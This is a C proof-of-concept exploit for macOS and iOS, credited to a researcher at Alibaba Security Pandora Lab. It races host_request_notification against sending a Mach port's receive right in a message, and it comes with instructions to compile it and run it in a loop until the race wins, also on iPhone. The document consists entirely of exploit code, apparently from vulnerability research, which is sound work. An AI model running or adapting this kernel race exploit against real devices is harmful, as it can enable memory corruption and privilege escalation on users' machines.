/* Written By Pan ZhenPeng(@peterpan980927) of Alibaba Security Pandora Lab use it on macOS: cc poc.c -o poc while True; do ./poc ; done */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t port; } port_msg_send_t; #define MACH_ERR(str, err) do { \ if (err != KERN_SUCCESS) { \ mach_error("[-]" str "\n", err); \ exit(EXIT_FAILURE); \ } \ } while(0) #define FAIL(str) do { \ printf("[-] " str "\n"); \ exit(EXIT_FAILURE); \ } while (0) #define LOG(str) do { \ printf("[+] " str"\n"); \ } while (0) int g_start = 0; mach_port_t reply_port = MACH_PORT_NULL; void *racer(void *param) { int err; while(!g_start) {} // usleep(1); err = host_request_notification(mach_host_self(), HOST_NOTIFY_CALENDAR_CHANGE, reply_port); MACH_ERR("host_request change to kobject", err); return NULL; } /* if race failed -> mach_port_guard_exception(name, 0, 0, kGUARD_EXC_IMMOVABLE); show EXC_GUARD in userspace if you wanna try this on iPhone, open the app many times until the race wins */ int main() { int err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); mach_port_insert_right(mach_task_self(), reply_port, reply_port, MACH_MSG_TYPE_MAKE_SEND); MACH_ERR("allocating reply port", err); pthread_t id = 0; pthread_create(&id, NULL, racer, NULL); g_start = 1; port_msg_send_t msg = {0}; msg.header.msgh_size = sizeof(msg); msg.header.msgh_local_port = 0; msg.header.msgh_remote_port = reply_port; msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX; msg.body.msgh_descriptor_count = 1; msg.port.name = reply_port; msg.port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; msg.port.type = MACH_MSG_PORT_DESCRIPTOR; usleep(1); err = mach_msg_send(&msg.header); MACH_ERR("sending task port message", err); return 0; }